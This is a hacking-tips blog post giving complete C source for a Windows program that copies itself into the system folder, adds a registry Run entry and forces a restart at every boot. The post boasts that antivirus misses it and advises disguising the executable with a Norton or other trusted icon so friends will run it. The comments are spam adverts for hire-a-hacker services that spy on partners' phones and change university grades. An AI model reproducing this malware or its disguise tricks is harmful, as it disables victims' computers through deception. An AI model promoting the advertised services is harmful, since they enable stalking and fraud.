Sharing is Caring.

Share on Facebook Share on Twitter
Related Posts with Thumbnails

A Virus Program to Restart the Computer at Every Startup



Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing,none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick thesysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.

LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of thisSysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

12 Response to A Virus Program to Restart the Computer at Every Startup

  1. Most of these so-called hackers are imposters, so be warned I’ve been ripped off 3 times already, thankfully my friend gave me a USA reliable contact, he works with discretion and delivers, he does all sorts of hacking and help me hack my ex Phone remotely and cloned it so that I could monitor all his messages and calls, I would prefer to let his services speak for itself, you can contact WILLIAM via Email- williampetersonhacklord@gmail .com, Whatsapp +1 515-992-6464.text or call: +1 530-738-5508
     You can also meet him if you are in the state


  2. Even though i have discourage my friends severally about hiring a private investigator to catch their cheating partners,
    i resorted to hiring one during my divorce. My husband hid his affair too well and i had no evidence to prove his infidelity
    to the court so i had to go back to my friend who am grateful didn’t listen to me back then to refer me to the hacker she
    is working with and i told him my problem. His service are topnotch which made working with him very easy,he got me everything
    i needed withing 24 hours and it was amazing, i paid upfront cause the trust was already there and i got great results because
    i currently have my husband’s messages diverted to my phone, call logs, Facebook messenger, WhatsApp,instant chat,Viber, Skype,
    password, retrieved all his deleted messages.The best part about his service is that you do not need any physical access or
    installation to the phone you wish to hack, so it was all hell break loose for my husband when i presented the evidence in court
    and i got everything i deserve. you can contact him for help him via call or text him +1860-971-0435 WhatsApp,
    call or text +1214-810-3457
    You can also contact him via his mail donarldjacksoncyberhost@gmail.com
    Tell him Hillary refer you.

  3. Life is not a bed of roses and there is no relationship with a smooth ride. Nevertheless you need to check mate the acts, attitude and the kind of love your partner got for you. You can hardly get to know all of the actions of your partner until you give it a shot to try to know if truly your partner is faithful or not.
    I noticed some strange attitude in the behavior of my man which is awkward and I’ve never got such feeling about him. I confronted him and all my pestering to get to know the fact about the strange behavior he puts up these days to no avail.
    This got me really worried as he keeps his phone  and at night he hides the phone discretely which got me suspicious and moody all day long. I spoke with a friend and she introduced me to an IT specialist ( brownrobinsongreathacker (@) GmaIL, C o m ) who helped me tap into his phone, he recovered all of his recent and deleted files ranging from text messages, call logs, pictures, videos and many more. I got all details of the pictures they took on their dates, location of several places they’ve been to and lot more. I got depressed and dismay, I never believed he could cheat on me despite all we’ve been through over the years and how I’ve showed him love as well as being faithful.
    The concrete evidence I got helped me through our divorce, getting to know the truth restored my happiness and rest of mind.
    If you need similar breakthrough from shackles of love and get the peace of mind you deserve, you can text, call or WhatsApp +13467107593 brownrobinsongreathacker on
    Email - brownrobinsongreathacker@gmail.com
    Khloe

  4. my girlfriend was very smart at hiding her infidelity from me due to some selfish reasons. So i had
    no proof for weeks while hurting myself during this process. Luckily i was refered to this private
    investigator which the result was awesome and top nptch.All my girlfriend's dirty chats, facebook, whatsapp,
    instagram, and even phone conversation was directed to my cell phone, if your girlfriend, boyfriend, wife
    or husband are expert at hiding his or her cheating adventures contact this fast and trusted link.
    donarldjacksoncyberhost@gmail.com or +1214-810-3457 on whatsAPP, call or text +1860-871-0435

  5. Grace Joe says:

    i've had the feeling for a while that my husband was sneaking behind my back so i contacted this hacker i met online a couple of weeks ago. he helped me gain access to his text messages, calls and mails. he is very reliable and his prices are quite fair. I just want to say a very BIG thank you to him and you definitely should contact him if you require hacking services. contact - brownrobinsongreathacker@gmail.com ot text +1(346)710-7593

  6. I was not paid to do this, But I did promise him to give him testimony on posting as many pages as possible. It was absolutely amazing when my neighbor Garcia helped me hire a trusted hacker Mr Robinson Best spy [brownrobinsongreathacker@GMAIL COM] who helped me gain access to my wife Facebook account and monitor her call logs, you can also count on him with any form of hacking services such as; IG, viber, text messages,iMessage,i cloud Skype, whats-app,pay-pal and so on...contact the best.
    You can also contact him via call, text or WhatsApp +1(346)710-7593

  7. I have been worried about my wife movement and activities as I suspected

    that she was cheating on me. I had no one to talk to than my best friend

    who I never knew had experienced such too. He told me he had hired this hacker
    markpowelcyberghost@gmail.com

    So I decided to hire him and he was able to hack my wife phone without her even knowing it .
    You can also contact him via call, text,or WhatsApp +16193671793
    Mark Williams
    Thanks

  8. A true hacker which i read about him online and a lot of people keep rating him and given testimony about him.He handle my job professionally .Now I'm giving this testimony from my first result which i wouldn't have got without his help,i promise to appreciate his job status to the wold for the great help he did to me.contact him on his email for more info about any hacking related job today. 
    brownrobinsongreathacker@gmail.com
    Call,text or WhatsApp +1(346)710-7593

  9. Sharon says:

    I got access to my husband’s mobile phone through the help of Mr Robinson . He helped me in Hacking my husband’s iPhone and i got all his text messages, call details, WhatsApp details, Facebook messenger. I’m so sad he is cheating on me. I’m sending all evidence to my lawyer.
    Contact him via his mail - brownrobinsongreathacker@gmail.com
    Call, text or WhatsApp +1(346) 710-7593

  10. Hello, if you even require a legit hacker to help monitor any cell phone remotely, contact deadlyhacker01@gmail.com or whatsapp: +1 3478577580
    They're very reliable.


  11. My boyfriend was a cheat and heartless human keeping secrets from me was his number one priority and aim
    But he has been of great help to me i got his whatsapp and facebook messages on my phone but past and present
    his gmail account, FB messenger and his entire Text messages.
    I'm happy markpowelcyberghost@gmail.com, been able to help you can also get in touch WITH HIM VIA call, text, or WhatsApp+1619-367-1793 Tell him Racheal refer you.

  12. CONTACT: onlineghosthacker247 @gmail. com
    -Find Out If Your Husband/Wife or Boyfriend/Girlfriend Is Cheating On You
    -Let them Help You Hack Any Website Or Database
    -Hack Into Any University Portal; To Change Your Grades Or Upgrade Any Personal Information/Examination Questions
    -Hack Email; Mobile Phones; Whatsapp; Text Messages; Call Logs; Facebook And Other Social Media Accounts
    -And All Related Services
    - let them help you in recovery any lost fund scam from you
    onlineghosthacker Will Get The Job Done For You
    onlineghosthacker247 @gmail. com
    TESTED AND TRUSTED!

Post a Comment

Interesting Site

Related Posts with Thumbnails
Related Posts with Thumbnails

Display Newer Trick on Facebook